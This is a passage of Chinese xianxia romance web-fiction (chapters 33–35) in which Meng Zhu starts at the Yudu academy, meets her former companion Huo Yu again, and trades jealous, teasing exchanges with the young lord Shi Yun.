他抬起手,指尖光华流转,在孟竹的注视下,亲自将属于玉都的刻印点在了她的眉心。 孟竹眉心的光渐渐淡去,她从施允微凉的指缝中抬眼,用只有两个人能听得到的声音问他:“为什么这么做?” “不为什么。”施允收回手,微微俯身,在她耳边轻声道:“看到你因为我不开心了,我就觉得莫名地高兴。” 他的声音很轻,落在耳边的时候,就像是被柔软的羽毛轻轻扫过,带来莫名的痒。 孟竹:“所以你以后都要这样故意和我作对吗?” “是。”施允唇角一扯,“怎样?” 幼稚又恶劣的把戏。 就像是五岁的孩子,因为别人说不喜欢他就会哇哇大哭。 是因为所有人都在迎合他,从来没有听到过不一样的话语吗? 孟竹点头,“行,随便你。” 他淡淡垂眼睨着孟竹,语气平静无波,问出的话却叫人心口一跳。 “为什么不喜欢我?” “……” 这可真是……真是…… 一定要在众目睽睽之下讨论这件事吗? 深吸一口气,孟竹道:“这件事很重要吗?值得你追到我跟前来问?难不成你是因为对我爱而不得而恼羞成怒了?” 施允愣了下,似乎没想到孟竹会这么问,他的脸上带着几分罕见的迷茫,又像是在思索什么。 可他很快又敛了眉眼,脸上浮起那惯常嘲讽的笑意,道:“用自作多情来形容你,还真是贴切,我早说了我讨厌你这种人。” “你有臆症?成天肖想我喜欢你?” 呵呵。 这叫什么?倒打一耙? 孟竹偏过头,没忍住骂了一句。 “什么?”施允的直觉告诉他这并不是什么好话。 “没什么。”孟竹微笑着回答道,“我家乡的方言,意思是你很好,我很喜欢你。” 她的表情就像是在说一件无关紧要的事,信口拈来,丝毫不假思索。 骗子。 没在意他的回答,孟竹倾身靠近,又抬起脸问他:“你是不是喜欢我这么说?” “闭嘴。” 他的下颌紧绷,抿着唇看着孟竹,不知道是不是她的错觉,站得这样近了,她才发现施允的眼眶隐隐约约的,还有残留的余红。 似乎察觉到孟竹在看他,施允很快将头扭至一边,“不准看我。” 孟竹不解:“你看,我已经顺着你的意思来做了,你为什么还要这样生气呢?” 一会儿这样,一会儿那样。 不知道在别扭什么。 施允干脆不理她了,他抬手一挥,风把他的衣袖吹的鼓起,孟竹才发现他不知何时施了个法术,将他们的声音与周围隔绝了,怪不得方才那么安静。 施允的术法一撤,孟竹才听到周围的声音又重新响了起来。 隔着那片翻飞的衣袖,有一道声音清清楚楚地落入了孟竹的耳中。 “抱歉,我来晚了。” 那熟悉的,仿佛只存在于回忆里的声音。 孟竹的神经猛地跳动了一下,她下意识地抬眼寻找那道声音的来处。 正好看到了那双熟悉的眉眼。 第33章 你看男人的品味也就这样了 孟竹的心倏然一紧。 是霍予。 他正偏着头和人说话,脸上带着孟竹熟悉的笑容。 阳光照在他英俊白皙的脸上,一如既往的模样。 唯一不同的是,他的头发剪短了些,左耳的银质耳钉反射着阳光,和这里格格不入的装束。 那是孟竹毕业后的那个暑假陪着他去穿的耳洞,就连那枚耳饰也是她精心挑选的,像是一道醒目的标记。 曾经早就被摘下,那些消失不见的东西,就和他本人一样,又再一次出现在孟竹的视线中。 或许是孟竹的视线太过灼热,霍予似有所感,头轻轻转了过来。 在他看过来之前,孟竹垂眸,身形微微一侧,下意识地拉住眼前的那片翻飞的袖角,挡住了自己的脸。 霍予的视线落在不远处站着的两人身上,男人的身形高大,将他面前的人挡了个严严实实,只能看见被风吹起来的一缕墨发。 那片宽大的衣袖落下,他的手指紧扣在身前之人的后脑上。 霍予下意识地冲他礼貌点头示好。 那人侧过半张脸,目光冷冽如雪,将他从上到下的,毫不客气地审视了一遍,对视时,那毫不掩饰的嫌弃满得快要溢出来了。 霍予的神情有一瞬间的愣怔,又很快将视线转了回去。 孟竹盯着地面,直到头顶上传来一道拐得离奇的语调,像是从鼻孔里哼出来的。 “呵,旧情人见面呢?”施允抽了抽袖子,没扯动,“我在这怕不合适吧?” 孟竹手指紧了紧,靠得又近了些,几乎整个人贴在施允怀里了,“你别动。” 两人的姿势看起来就像是大庭广众下紧密依偎一般,引得越来越多人的视线往这边看来。 顿了顿,施允又问:“那便是你喜欢的人?” 孟竹否认:“不是。” 那片衣袖任她牵着,将她的视线完全挡住。 刚刚好,她现在不想看任何人。 “你总在撒谎。” 施允嗤笑一声。 他的视线上下扫视孟竹,语带嫌弃:“你看男人的品味也就这样了。” 孟竹站那一动不动,手拽着施允的袖子盖在脸上,那片衣袖间里飘来一阵阵的香,让孟竹心里一下就静下来了。 她没说话,又听到施允在问。 “你们两个约好的?” 孟竹余光看到霍予转过身去了,又把手松开,“哪能啊?碰巧了而已。” 窃窃私语的声音一阵阵传来,施允脸色沉了沉。 “行了。”施允收回手,“别在这里碍眼。” 阳光落在他的身上,勾出修长模糊的轮廓,一挥袖,他又恢复了那一副冷漠平淡、高坐云端的模样。 “你走吧。” 话音落下,施允的身影眨眼间便消失不见,快得像道影子。 孟竹很快地转过身下了台阶,直到完全回到原地,她才回头看了一眼高高的遴仙台,上面的人都模糊成色彩各异的小点。 在她之后,又点了一些人的名字,过了一段时间,遴选就正式结束了。 从天而降的一列云船缓缓降落在地面,载着人前往不同的学府,孟竹往云船上走,玉都这次遴选中择选的人不多,加上孟竹只有七个人。 因为方才在遴仙台上的表现,孟竹一上来就受到了不同寻常的注目礼。 有好奇的、不屑的、讨好的或是探究的。 幸运的是,孟竹在前往玉都的云船上看到了一个熟人。 “孟竹,来这儿。” 吕一靠在船头,冲她招了招手。 她朝着吕一的方向走去,和她一起靠在船头,她没问孟竹任何问题,也没有试图去窥探她的过往,只是不咸不淡地聊了几句平常。 云船行驶的速度很快,在云层间来回穿梭,孟竹往下望,只看到白茫茫的一片。 不知过了多久,面前的画面渐渐变了。 一座尤其华丽的画卷在眼前渐渐铺展开,和云船并行的御剑修士如同天上的流星一般极速掠过,彩霞漫天,凤鸟齐飞。 修建得精美绝伦的飞阁朱楼,每一角上都镶嵌着亮如白昼的明珠,宫阁殿宇像是用五彩的琉璃铸成的,大片大片不知名的花木点缀其中,落日熔金,宛如仙境。 孟竹静静地看着眼前的这一片盛景,这便是施允从小到大生活的地方吗? 当真是和他一模一样。 华美而精致,像易碎的珠宝。 不多时,云船停在城郊的一处山门前,这里又同玉都城内的华丽不同,青砖绿瓦,院墙也有些斑驳,散发着历史厚重悠长的气息。 进门一路走来,群山环绕,花草丰茂,远远望去,林间山雾浓重,寂静中回荡着林鸟羽翅飞振的声音。 孟竹等一行七人被分到了类似宿舍的地方,待遇真是不错,每个人都有独门独户的小院子,院中草木扶疏,相当惬意。 要说比起孟竹之前在杨柳村住的那个破屋子,那是好了不止百倍。 第二日一早,孟竹便知道这待遇好的原因是因为什么。 累。 太累了。 宛如一个单休的牛马,朝九晚九,每周休沐一日。 符术、剑法、御剑、体术、阵法、占卜、炼器… 太多的课程让孟竹完全没有时间去思考别的事情。 孟竹宛如一条被榨干的咸鱼,日日徘徊在玄幻的海洋中,早出晚归,日子过得平静而枯燥。 奇怪的是,虽然施允口口声声要与她作对,可日子越过越久,倒是一次都没有出现在孟竹的面前。 时间如水,一晃而过。 这样的日子持续了一个月,直到一日早晨,孟竹半阖着一双昏昏欲睡的眼睛叼着饭堂的包子晃到教课的学堂内。 望见了那一抹熟悉的身影。 他侧首坐在院外的石桌边,银质耳钉闪烁着耀眼的光芒。 嘴里的包子啪嗒一声落到地上,滚了几圈,洁白的面皮粘了灰,变成了脏兮兮的颜色。 孟竹有些可惜地看着地上的那半个被咬过的包子,明明很好吃的,却因为落了灰变成了面目全非的模样。 她捡起包子丢掉,起身的时候看到霍予看了过来。 “好久不见。”- 城主府内,韩韬穿行其中,熟门熟路进入了一处宫阁,推门而入。 “这帮老头子烦人得很,讲来讲去就是那些东西,无趣得紧。” “左不过就是去了趟天启城,被唠叨了那么久,耳朵都要长茧子了。”韩韬撩开玉帘,一眼就看到了坐在案前看书的人。 他的神思沉静,在听到韩韬的声音后有些不耐烦地皱了皱眉,道:“子修,你太吵了。” 韩韬看着施允这不痛不痒的样子,抱怨道:“还不如也让我关禁闭一个月,省得听那些族老的训话,不过你这次怎么回事,竟然还当真乖乖在这里呆着?” 韩氏与施氏两家世代相交,联系紧密,他和施允两个人一同长大,关系也比其他人亲近许多。 “嗯。”施允头也没抬,只冷淡地应了一声又继续看书了。 其实小的时候,施允并不像现在这样冷淡少言,他是整个氏族里最活泼的孩子,整天惹是生非,话也最多,叽叽喳喳吵个不停,只是自从施允的父亲意外仙逝以后,他便像是一夜之间长大了,收了之前的样子,再也没做过任何出格的事情。 暗自叹了口气,韩韬对他说起近来的事情:“对了,听说孟竹在学府那边过得不错,我还以为你要给她点苦头吃吃呢。” “听说遴选时,她当众拂了你的面子,是不是真的?” 施允冷笑一声,“她过得如何,与我何干?” 搔了搔头,韩韬疑惑道:“那你为何当初非要大老远跑到天启城去,还堆了那么多族中的事物不管,你别说是因为要抓凌宿的把柄啊,那件事你手底下的人早就在跟了,何至于要你出面?” “而且在试炼之境的那两日,我有心试探,她的修为明显是在短时间内被人强行拔高的,而且这样粗暴的方式灵脉居然没有受损,资质反而变得更好,这种事情,除了你,我想不到还有谁能做到。” 施允不言,继续垂眸看书。 “我本来想把她丢到尸魁洞里试试她水平的深浅,你倒好,主动带着她进去了,出来以后,她的修为就到了金丹。”韩韬意味深长地看着施允,带着戏谑的微笑:“你说,这到底是为什么呢?” 施允抬起头来看他,“子修,你和她相处了几日,觉得她是个怎样的人?” 听到这个问题,韩韬下意识想起的,是那夜在大火中亮如星辰的双眸,纷飞的发和自由无拘的笑容。 仿佛什么也不在乎,就连性命也是拿来消遣的玩具。 她就像那天边的纸鸢,断了线,就飘往更远的、更高的地方。 再也寻不见。 “我说不清……”韩韬犹豫道,声音也有些断断续续的:“总之……总之和我们这种人,是不大一样的。” 声音越说越低,韩韬脸上的表情有些放空:“我不清楚她真正在意什么,这种人……” 施允把书放下,随手拨了拨面前香炉中的灰,他脸上的表情很浅,几乎转瞬即逝的笑。 “我第一次见她的时候,她正被关在棺材里,衣裳穿得破,人也脏兮兮的,一点也不得体。” 韩韬道:“你觉得她过得不好?所以才一次次帮她?” “不。”施允很快否定了他。 他轻轻地将香灰掸去,“就算我不帮她,她依然能把日子过得风生水起。” 想起她在天启城做的一切,口口声声说着想要到仙洲修行,可真到了仙洲,桩桩件件,她又何曾在意过眼前的一切? 那些付之一炬的疯狂,究竟是为了什么? 不去猜,不去想,心里才会平静下来。 “我从前以为,她离了我,就如同鱼离了水,我是她唯一的倚仗。” “但我错了,自以为是的人是我。” 施允看着再也没有亮起来的玉简,对着这个儿时的好友无所谓地笑笑。 “我再也不想听到关于她的任何消息了。” 韩韬啊了一声,半晌,看着已经重新低下头看书的施允,沉默了。 过了一阵子,施允发现韩韬还坐着,“还不走?今天这么闲?” 纠结半天,韩韬想起了今天来找施允的目的,清了下嗓子,道:“虽然你不想听,但是我还是得跟你说下,学府那边各城的修士已经到了,你准备什么时候去露个面?” 施允想到了什么,问:“是到了仙门大比的日子吧?” 仙门大比会汇集各个学府的修士,历来都是在玉都举行,历时三个月之久,施允作为玉都的少主,自然是要出面的。 “是啊,你不会忘了吧?” 手指捏在书页上轻轻摩挲了两下,施允不咸不淡道:“既如此,就算我再不想去,也实在没办法,确实是要去学府看看。” 韩韬哦了一声,又道:“听说这次丰城的人先到了,里面有个叫什么霍……呃,忘记了,在新人中也是很出彩,他……” 话还没说完,韩韬发现施允手中的书页忽然被捏皱了,他脸上那副风轻云淡的表情一瞬间消失得无影无踪。 抬起脸,施允冷声问他:“他们什么时候到的?为何不早告之于我?” 韩韬莫名其妙:“我说了你又不爱听。” 看着施允已经站起身急匆匆往外走的样子,韩韬道:“诶,你去哪儿啊,还在禁足呢。” 施允走了两步,想起什么,又折回来,咬着牙冷笑:“打扮成那副不伦不类的样子,一看就不是什么好人。” 韩韬:? 一挥衣袖,施允吩咐道:“备水,我要沐浴更衣。” 第34章 好香 日光顺着窗檐爬上屋角,孟竹靠在窗边,听着课台上的炼器大师讲学。 玉都学府内因为来了不少人,往日寂静的山中显得有些喧闹。 往日里沉闷的学堂内,人心躁动,很多按捺不住好奇的人悄悄交头接耳。 听说这次来的人都是各学府顶尖的修士,无论是悟性还是修为都是同辈中最优秀的,数量加起来也不过几十人,此次仙门大比的参与者便是这些人。 同样的,玉都学府的人中,也需要选出相应资质的人来参加这次的仙门大比,并不是人人都有这个机会。 “安静。”明非将手中用于展示的材料放下,手在桌面上重重一叩,学堂内顿时安静了下来。 他是玉都学府内脾气最为古怪的一位老师,时常讲着讲着就沉浸在自己的世界里,内容生涩难懂,但是就是这种怪人,炼器的本事在仙洲却是顶尖的,听说出自明非之手的法器,都绝非凡品。 “若是不想听,今日的课便散了吧。”他淡淡扫了一眼台下,讥讽道:“像你们这样连心都静不下来的人,能出什么好苗子。” 说完,他将自己的东西整理好,拂袖而去。 明非一走,安静的学堂内顿时热闹起来,孟竹也收了东西往外走,吕一和她坐同桌,自然关系也近些。 吕一叹了一声:“可惜了,本来今日讲的内容,我还蛮感兴趣的。” 从学堂走出来不远,便是一个八角凉亭,站着三三两两的人群,一看就是生面孔。 “明非长老就是这样的性子,等这几日新鲜劲过去了也许就好了。”孟竹随口应了一声,看着凉亭中站着的人,视线偏开,继续朝前走。 “肚子饿了,先去吃点东西吧。”吕一道。 身后响起浅浅的脚步声。 孟竹停了下来,“你先去吧,我去藏书阁看看。” 吕一没再勉强,嗯了一声就转身走了,孟竹换了个方向,往藏书阁的方向走。 藏书阁的位置相对隐秘,要穿过一条幽静的小路,枝叶葳蕤,石板路上落了些残叶,踩上去的时候,脚步声会显得格外明显。 越往前走,身后的脚步声就越近。 直到—— “孟竹。” 熟悉的声音响起,孟竹回头。 霍予站在她身后,他穿着一身统一制式的校服,黑色的衣袍上绣着金线,上面有着属于丰城学府的标志。 肩膀宽了些,人也比之前清瘦了些许,但比起之前颓靡的模样,看起来清爽干练许多。 很陌生,又很熟悉。 “你在躲我吗?”霍予静立在孟竹对面,问她。 躲? 孟竹摇头:“我只是觉得那个场合不适合说话。” 听到孟竹的话,霍予眉心一拧,道:“有什么不行?我们之间本来就认识,还怕谁来说不成?” “我只是不想解释那么多罢了。” “倘若我要是不来找你呢?”霍予微微俯身,拉近了两人的距离,“你就要一直装作不认识我吗?” 真奇怪。 当初明明要离开的人是你,现在这样自说自话的人又是你。 孟竹仰头,看着霍予:“我不觉得我们之间还有什么叙旧的必要。” “看到你过得很好,我挺高兴的。” 她后退一步,拍了拍霍予的肩膀:“以后就这么过吧,别再像以前一样了。” “走了。” 孟竹转过身,头也不回。 “我离开杨柳村以后,只要我一有闲暇,我便会回去找你,可是我找不到你了,他们说你走了,我哪里都找不到。” “你究竟去哪里了?” “孟竹。”霍予的声音低了下来,像梦呓似的:“我一刻都没有停止过想念你。” “我从未想过抛弃你。” 从未? 多可笑啊。 闭了闭眼,孟竹呼出一口气,不再理会身后霍予的声音。 再睁眼时,小路的尽头,她看到了一抹耀眼的红,像山顶上开着的凤凰花。 一如初见时那样的,瑰丽又惑人的容颜,又硬生生闯进了她的视线中。 他似乎有些急切,目光和孟竹对上的一瞬间,紧蹙的眉又松下来。 “找到你了。” 施允朝着孟竹疾步而来,一把攥住她的手腕,上上下下将她看了个遍,仿佛在确认什么。 “看什么呢?”孟竹问。 没回答孟竹的问题,他的视线越过孟竹,看向她身后。 孟竹能感觉到他手上凝着一股蓄势待发的力量,身体是完全紧绷的状态,像拉满弓的弦。 “藏书阁是重地,禁止外人来访。”他的咬字清晰,刻意在“外人”两个字上加重。 霍予迎着施允的视线,忽然轻笑了一声,点头道:“说得也是。” 他转身,走之前,留下一句:“外人?我和小竹十年的情谊,谁又是外人呢?” 霍予的声音很轻,像是自言自语,却又能清清楚楚地让人听见。 他走之后,施允松开孟竹的手,冷着一张脸不说话。 风轻轻一吹,孟竹闻到他身上好闻的味道。 她不由自主地被施允吸引了视线。 他今日似乎和往日有些不同,没穿那些宽袍广袖,是一身格外鲜明的,具有记忆特征的红色劲装,衣料剪裁得当,肩膀宽阔平直,恰到好处地勾勒出劲瘦的腰身和一双长腿。 本就盛极的容貌被阳光一照,衬着这身红衣,皮肤白得惊人,周身跟自动发光似的,简直像个行走的人形灯泡。 这么一仔细打量,孟竹差点被闪瞎了眼。 那股好闻的香味直往她鼻子里钻,那一瞬间,方才因为霍予而有些躁动的心绪又静了下来。 太奇怪了。 人怎么能这么香? 孟竹下意识地开口:“你是每天都要熏香吗?” 施允不说话,就站在孟竹跟前,看样子是不想理她。 不理就算了,人却挡在路中间一动不动。 孟竹绕过他想往前走,施允抬手,又单手压着孟竹的肩膀给她推回来。 孟竹换了个方向,继续走。 施允又抬手,又是轻轻一推。 什么意思? 她抱着胳膊静静地看了施允一会儿,忽然笑了一下,语气软下来。 “又是谁惹我们施允生气了?” 施允将脚下的残叶踩得咯吱作响,半晌,才看了孟竹一眼:“玉都学府是正经修仙的名门,不是让你们在这里谈情说爱的。” “哪能啊?”孟竹说,“你哪只眼睛看见我和他谈情说爱了?” “我两只眼睛都看到了,你还好意思狡辩?” 施允薄唇一抿,蹦出一句:“简直有伤风化。” 孟竹瞪大眼,震惊道:“你对谈情说爱的定义未免有些太奇怪了吧,我和他既没有牵手,又没有亲嘴,就说了两句话,就有伤风化了?” “你还想和他亲嘴?” 重点这个吗? 孟竹道:“不,我不想,以后也不会和人亲嘴。” 施允脸色稍霁,而后似乎又想到什么,耳根渐渐红了起来,偏开脸低声道:“以后……想亲也不是不行。” 以后亲?孟竹想了想,但凡她没疯,还是个正常人的话,绝对不会出现亲吻霍予这种情况。 孟竹义正言辞:“不,我不会做这些有伤风化的事,我来玉都学府是来正正经经修仙的,你放心好了。” 施允沉默了一瞬,才冷着脸点了点头,道:“你知道就好。” 两人进了藏书阁,阁内很大,满墙的书架上没有一丝空隙,被人打扫得很干净,看不到落尘,中间有一座旋梯,一直通往最高处。 孟竹跟着施允一同往上走,一直走到最顶上的阁楼里,他转过头来问孟竹:“要找什么书?” 想了想,孟竹报了一个名字,是明非长老亲著的。 施允在墙上扫了两眼,直接抽了出来递给孟竹。 “这么快就找到了。”孟竹接过,翻开两页边看边靠着窗户坐了下来,“你对这里很熟悉吗?” 随手抽了一本书,施允坐在孟竹对面,“嗯,怎么了?” “照你这熟悉程度,你不会把这里的书都看了一遍吧?”孟竹随口开了句玩笑。 “嗯。” 嗯? 嗯?!! 孟竹望向巨大的几面书墙,一时间微微张着嘴,样子显得有些呆滞。 施允抬起眼皮,看见孟竹的样子,又不由自主地弯了弯眼睛。 “骗人的吧?”孟竹回神,看见施允的笑,又闭上嘴巴。 “骗你做什么?”施允突然伸手,越过桌面将指尖点在孟竹的眉心。 脑海中浮现的术式理论又全部在孟竹脑海中涌现出来。 “若是没读完,这些是凭空产生的吗?” 孟竹低下头翻了几页,发现脑海中竟然当真出现了这些书页记载的东西。 她合上书本,真心实意地感叹道:“那我现在岂不是一个行走的藏书阁?” 施允就这样将这些东西毫无保留地灌输给她,是心大还是太过慷慨?像上次给她留下乾坤戒一样,他却从没向她要求过什么回报。 “藏书阁每年都会进一些新书,你多读些书,也不是什么坏事。”施允坐回去,又道:“况且学以致用,记住了又不代表你真的会了。” “可是……你有没有想过,你这样很容易被骗啊。”孟竹这下真的开始为施允感到担心。 虽然嘴巴臭了点,性格也不是那么好,但是人……对她确实还不错? 施允闻言,脸上的表情带着一丝疑惑:“为何会被骗?” 孟竹:“我要是个别有用心之人,用你给的这些东西钻研些邪门歪道怎么办?” 她脑海中的那些术法理论,可不仅仅只是常见的藏书,孟竹心下暗叹,居然还有打着禁书标识的典籍。 “你?”施允微微后仰,上下打量着她,若有所思道:“你想学些邪门歪道?” 他沉默了一下,“魔道一途并不可取,但你若是好奇想学……” “我不想学。”孟竹打断了他的话。 她要是真的要学,施允难不成还会真的纵容她修魔道吗? 仙门对魔道一向深恶痛绝,身为仙府名门的少主,怎么这话到了施允嘴里,变得如此无足轻重了? “有时候我真是看不懂你。”孟竹道,“你就这么轻易地相信别人,若是有一天,你遇上了这样的一个人,你发现自己为之付出的那个人并不像你想象中那样呢?” 孟竹的声音有些低,像是在说施允的事,又像是在说其他。 “说不定你遇上的只是烂人一个,只会利用你伤害你。” “你总有一天会后悔,会觉得不值得。” 孟竹看着架子上摇晃的烛火,心中忽然沉闷地像要下一场潮湿的雨。 “如果真的有那么一个人……”施允不紧不慢地放下书,抬眸看向孟竹:“我既然愿意信她,那她是什么样的人,好人坏人,很重要吗?” 他像是在说一件无足轻重的事情,继续道:“若是想求仙问道,我便为她引路开河,利用我便利用我吧,又不是什么大不了的事。” 施允说话的时候,孟竹总是不经意地盯着他看,看他说话时微张的唇,看他眼尾浅笑时勾起的弧度。 视线又一次落在那张脸上时,她忽然笑了*笑,问:“那你的道呢?” 她见过他心怀怜悯的样子,见过他在大雨中向自己伸过来的那只手,也见过他将幼童护在身后,神情不耐却眼底柔软的模样。 他明明身处万丈光芒之下,救世渡人,流芳百世,与日月争辉,才是他本该走的路。 施允看着她,带着一抹漫不经心的笑,目光中是浅浅跃动的阳光,“那你说,什么才是道?” 孟竹不言。 他收回视线,看着窗外翩飞的蝴蝶,“管别人说什么,值不值得,我说了才算。” “代价呢?”孟竹轻声问:“代价是什么?” 静了片刻,施允的声音很平淡,却犹如惊雷般在她耳畔炸开。 “没有代价。”他说,“我心甘情愿。” 心中那场潮湿的大雨忽然落下。 一支嫩芽却破土而出,从一地的泥水中颤颤巍巍地探出头来。 落地生根,犹如藤蔓一般疯长。 孟竹忍不住噗嗤一声笑了出来,她边摇头边笑:“施允,你是傻的吗?” 人真的可以如此毫无理由地包容一个人所有的一切吗? 这世间所有的付出都要有代价,就算不是现在,在将来的某一天,总会连本带利地都收回去。 这样毫无道理的偏爱与纵容。 孟竹不信。 可当她再望向施允的双眼时,嘴角的笑容又凝固住。 施允的目光温柔,他嘴角噙着一抹浅笑,眼内波光流转,似有万千光华。 窗外春景映日连天,连蝴蝶也偏爱他,轻轻落在他柔软的发梢。 孟竹掐着掌心的手指一寸寸松开,看着施允笑了起来,唇角的梨涡漾开,笑得眼睫弯弯。 “……你笑什么?” 施允指节抵住鼻尖轻咳了一声,“又不是说你。” 孟竹笑着点头,看着施允的眼睛,说:“知道,大概是我又犯了臆症。” 第35章 难搞 隔日清晨,孟竹照例去学堂内上课。 为了共同交流,玉都学府安排了所有来自其他学府的修士一同进入玉都学习,小学堂变成了一个能够容纳上百人的大学堂。 再过几日,便是要一同去千机城寻找炼器材料的日子了,待炼出了自己的本命法器,便是仙门大比正式开始的日子。 因为走惯了去小学堂的路,看到空无一人的小学堂,孟竹才反应过来自己走错了地方,今日教课的长老还是明非,去晚了肯定又是一顿阴阳怪气的教训。 这么一耽误,等到了地方的时候,学堂内已经坐满了人,幸好明非长老还没到。 孟竹在人群中扫视了一圈,在成排的座位中找到了吕一的脸,穿过长长的走道,她走到吕一的身旁坐了下来。 “你再来晚些,可连座位都没有了。”吕一语带调侃地笑了一声,但其实她不喜欢凑热闹,唯独和孟竹一个人走得近,因此并排的长座上还有着几个空位。 孟竹也笑:“早上记错了路,去了小学堂。” 身旁的座椅吱呀一声轻响,孟竹转过脸去看。 霍予不知何时坐了过来,他脸上带着礼貌的微笑,向着孟竹打了个招呼:“嗨。” 吕一翻书的手一顿,瞳孔微微放大了一瞬,看了霍予一眼,脸上的表情有些莫测。 孟竹面无表情地把脸转过来,吕一会意,往里又挪了一个位置,孟竹挨着她坐了过去,和霍予之间隔了一个空位。 闹闹嚷嚷的学堂静了一瞬,孟竹朝门口看去,明非长老依旧木着一张脸进门,随着他一同踏入学堂的人,瞬间让学堂内又炸开了锅。 “这不是玉都的少主吗?” “他来学府做什么?” “这些世家公子们不都是有专门的仙师从小教习吗?” “谁知道呢。” 明非长老不知道同他说了什么,施允一脸疲懒地点了点头,目光慢悠悠在人群中扫视了一圈。 他的眼神倏然一冷,脸上最初的的那副懒散神态慢慢收了起来。 迎着众人的视线,施允走到霍予身旁,抬手。 座椅在地面摩擦出刺耳的声响。 霍予身旁的椅子被拉开,施允干脆利落地坐在了霍予和孟竹中间隔着的空位上,两只修长的腿随意敞开,硬生生在中间劈开了一道更宽空隙。 吕一意味深长地看了孟竹一眼,“有意思啊。” 来自各方的注目礼实在让人难以忽视,就像是自己的一举一动都被人观察审视,顶着无数道探究的视线,孟竹压低声音:“你就非得坐在这里吗?” 知不知道自己多么惹人瞩目啊? “我凭什么不能坐在这里?”施允偏过头来,嘴巴里像藏了毒一样,“这玉都学府你家开的?” 真要论起来也是这么个理,孟竹擦了擦桌子,伸手示意,“请坐请坐。” 隔空传来一声轻笑,霍予托着腮看着孟竹:“小竹,这是你新交的朋友吗?” 他伸出一只手,对着施允道:“昨天没能好好打个招呼,我也是小竹的朋友,认识一下?” 施允似笑非笑,没有理会那只伸出的手。 霍予毫不在意的收回手笑笑:“听闻玉都少主自小天赋异禀,冠绝仙洲,要什么有什么,何故来学府受罪呢?” 施允一只手搁在桌上,手指漫不经心地在桌面上随意点了点。 他低垂着眼睫安静了片刻,久到让人觉得他根本不会去接这句话的时候,他才恍若初醒一般,忽然偏头笑看着霍予。 “既然知道我从小冠绝仙洲,说不定你再努力一点,能赶上我一根手指。” “你说是不是?” 霍予下意识地看了孟竹一眼,她面上没什么表情,好像并不在乎这里发生了什么,一手托腮,另一只手似乎无意识地学着施允的模样在桌上轻点。 这是第一次,孟竹没有出言维护他。 她的视线一丝一毫,都没在他身上停留。 霍予的面色一沉,再没说话。 周围的窃窃私语声始终没停过,喧闹中又透着一股紧绷的怪异气氛。 直到啪地一声重响—— “安静!” 明非长老拍着桌子,“不想听课的人都出去!” 学堂内这才安静了下来,那些视线如潮水般褪去,孟竹松了口气。 这堂课上得极为难熬,待一结束,孟竹就起身往外走,吕一走得倒是比她还快,早就没了影子。 “跑什么?”施允跟在孟竹后面,“我饿了。” 孟竹看着施允悠哉跟在自己身后的样子,莫名觉得有些好笑:“饿了就自己去吃饭啊。” “一起去。” 孟竹停下来,“这位施公子,你是不是忘了,之前谁说我们两个从来不是朋友的,还要天天和我作对?” 施允的余光不动声色地看向侧后方,靠近两步将孟竹的身影挡住,“我本来就不是你的朋友,我是你的……” 他思索了一下,郑重其事道:“我救了你,难道不是你的恩人吗?” “救我?”孟竹愣了一下,突然想起在尸魁洞中施允为她挡伤的那一幕。 “现在还疼呢……”施允的声音有些低,他抿着唇,像是有些委屈似的:“你就这样对我?” “这种伤会疼这么久吗?”孟竹有些担心,又道:“衣服脱了让我看看……” 施允推着孟竹往前走,“光天化日,不要说这种有伤风化的话。” 他声音越来越小,“……你一天天都在想些什么?” 离得近,孟竹听见了,她立刻说:“我没想。” 施允:“?” 孟竹:“就算想了也很正常吧,人之常情。” 施允显然没听懂孟竹的话,连推着孟竹的手都放下了,“什么?” “听不懂?”孟竹忽然伸手拽了施允一下,他的身体因为惯性前倾。 看着施允略显迷茫的视线,孟竹忍不住出声逗他:“是不是故意的?” 因为孟竹直白的视线,施允的耳根一寸寸红了起来。 可下一瞬,他看到不远处的某个身影,又莫名地觉得心口发堵。 莫非他对孟竹已经毫无利用价值了,所以她开始这般无所顾忌地戏弄他了? 太荒谬了。 “听不懂。”他语气生硬地说,“手放规矩点。” 孟竹的手松开,她伸手将施允的衣襟抚平,又看着他在阳光下细长漂亮的眉眼。 嗯,不太好搞,孟竹想。 阳光格外明媚,林木深深,白鹤在湖畔停憩,晨起的大雾散去,暖而细碎的阳光铺陈在行人的身上。 顶着一路的注目礼,两人来到饭堂,孟竹竟然神奇地觉得适应了许多。 饭堂每日都有负责洒扫的小厮进行打扫,或许是今日施允来学府的消息传遍了此地,今日的饭堂显得格外干净,掌勺的师傅从支开的竹窗里看了过来,乐呵呵道:“吃点什么?” 孟竹要了一份糖醋排骨和豆腐汤,端着饭找了个偏僻的位置坐下,还没吃两口,就看到施允朝着这边走过来。 等他完全坐下的时候,孟竹看着身旁不知道何时空了一大片的位置,仿佛他们是什么瘟疫一样被隔离开来,所有人宁愿密密麻麻地挤在一处,也不往这边靠近。 孟竹放下筷子,看着施允习以为常的样子,她咬了块糖醋排骨,微甜的肉汁融化在口中,问:“你知不知道他们为什么讨厌你?” “讨厌我?”施允面前的菜色和她完全一致,他皱着眉也咬了一口排骨,“他们何时讨厌我了?” 施允放下筷子,皮笑肉不笑道:“倒是你,我看你很是受人欢迎。” “怎么,你嫉妒?” “嫉妒你每天活得像个陀螺?” 施允只咬了一口,便再也不再动筷子了,在孟竹印象中,施允总是吃得不多,不喜欢的东西,他似乎从来都不碰。 “不想吃干嘛还……” “小竹。” 孟竹的话被熟悉的声音打断。 施允的眉微不可察地拧了一下,如墨的双眼在孟竹和霍予身上来回打量。 霍予笑着朝孟竹招了招手,端着食盘走了过来,他仿佛看不出这里同别处格格不入的气氛似的,坐在了孟竹的身旁。 他的食盘里依然和孟竹如出一辙,三个人仿佛粘贴复制一般的菜色。 “你还是喜欢吃这道菜。”霍予不知想到了什么,眼神变得格外柔软。 他从怀里取出一个厚厚的油纸包,小心翼翼地打开,递到孟竹面前。 是糖葫芦,红彤彤的,一串串排列在一起,泛着晶莹剔透的光泽。 “是我自己做的,你之前不是最爱吃了吗?” 牙根忽然泛起隐隐约约的酸痛,孟竹伸手,用手轻轻压了压自己的侧脸。 很久之前,不知道从什么时候起,霍予迷上了吃糖葫芦,甚至还自己学了来做,冰箱冻着一盒又一盒,孟竹看了浪费,又怕霍予又吃坏肚子,也跟着一起吃,甚至吃得比霍予还要多,反正她的身体从小就很好,倒是霍予的肠胃很脆弱。 那时候起,久而久之,霍予便以为她也爱吃糖葫芦,后来就连孟竹自己也分不清,她自己究竟喜欢什么。 视线落在那份糖醋排骨上,这也是霍予爱吃的,他的口味偏甜,季琴做饭的时候,也都是照顾着霍予的口味。 甜而油腻的汁水从胃里涌上来,孟竹忽然觉得厌烦极了。 